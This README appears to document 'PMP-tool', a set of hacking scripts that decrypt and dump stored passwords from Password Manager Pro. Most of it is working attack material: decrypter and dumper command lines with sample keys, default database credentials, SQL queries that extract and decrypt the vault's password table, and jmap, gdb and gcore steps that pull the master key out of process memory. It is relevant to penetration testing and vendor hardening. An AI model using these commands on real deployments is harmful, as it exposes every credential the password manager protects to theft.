PMP-tool

summer of hack 2020

Some tools for decrypting/dumping Password Manager Pro passwords

Dependencies:

• python3
• pycryptodome
• pgpy (Only if you wish to decrypt database encrypted data)

Decrypter

Examples

Decrypt passwords from file:

./decrypter.py -k 7mNUUU+qQa9f6FMGRDCwllpdz/+Nf/1ahvEgj75FX/4\= --file example/decrypted_passwords.txt

Decrypt database-encrypted passwords from file:

./decrypter.py -k 7mNUUU+qQa9f6FMGRDCwllpdz/+Nf/1ahvEgj75FX/4\= -m xm6C2pZAC/yCcAxW6lQOUEgbb732ue99BjO9wu0f1tg= --file example/passwords.txt --encrypted

Decrypt a single database-encrypted password:

./decrypter.py -k 7mNUUU+qQa9f6FMGRDCwllpdz/+Nf/1ahvEgj75FX/4\= -m xm6C2pZAC/yCcAxW6lQOUEgbb732ue99BjO9wu0f1tg= --password wwwECQECsR/EjgtjwlTSUQFN8qQRmKRB0manYvU++KDTurezkOX5QwcrZEMdHLdTbAm1M2qHTUmB8LE5MZ5wDxtpzBR73p02ifya3QY5nVL/0y05/CSyEl7E+BoxrUn8+g== --encrypted

Dumper

Installation

sudo apt-get -y install libpq-dev
pip3 install -r requirements.txt

Examples

Dump all passwords for default DB creds (postgres:[email protected]:2345/PassTrix):

./dumper.py -k XcLyN2ycqDkgHUwCh7ABPDfDCQXMspN2PwLr2LEjfCg=

Test if you have the right key:

./dumper.py -k XcLyN2ycqDkgHUwCh7ABPDfDCQXMspN2PwLr2LEjfCg= -c test

PostgreSQL

You can use this commands (or their MySQL equivalent) to gain some info manually

To get encrypted DB_ENCRYPTION_KEY (you can than decrypt it with decrypter):

select notesdescription from Ptrx_NotesInfo where noteid = 1;

To retrieve encrypted passwords (no database decryption):

select encode(password, 'base64') from ptrx_passbasedauthen;

To retrieve encrypted passwords:

select decryptschar(password, <DB_ENCRYPTION_KEY>) from ptrx_passbasedauthen;

OR

select pgp_sym_decrypt(password, <DB_ENCRYPTION_KEY>, 's2k-mode=1, cipher-algo=aes256') from ptrx_passbasedauthen;

Memory Dump

If you can execute commands on the host, you can read the PMP key from a file PMP/conf/pmp_key.key. However, if the file is removed (according to the deploy instructions), you can try dumping it from memory

0. Get WrapperSimpleApp PID

jps | grep WrapperSimpleApp # Or find it yourself

1. JMAP

If the host have jdk installed you can simply use Jmap

jmap -dump:file=dump.dump <process-id>

Then analyze the dump with any java heap analyzer tool. For example - Eclipse Memory Analyzer.
Load the dump into analyzer (File -> load heap dump) and follow java.net.URLClassLoader -> list objects -> with outgoing references -> classes -> elementData -> <Find the one with class com.adventnet.passtrix.ed.PMPEncryptDecryptImpl> -> pmp32BitKey

2. GDB

Requires root privileges

gdb --batch --pid <process-id> -ex "dump memory mem.dump 0xf5580000 0x100000000" && grep -a -m2 -E "[A-Za-z0-9\+/]{43}=" mem.dump

3. GCORE

Requires root privileges
Works half of the time -_0_0_-

gcore -a <process-id>
grep -a -E "[A-Za-z0-9\+/]{43}=" core.*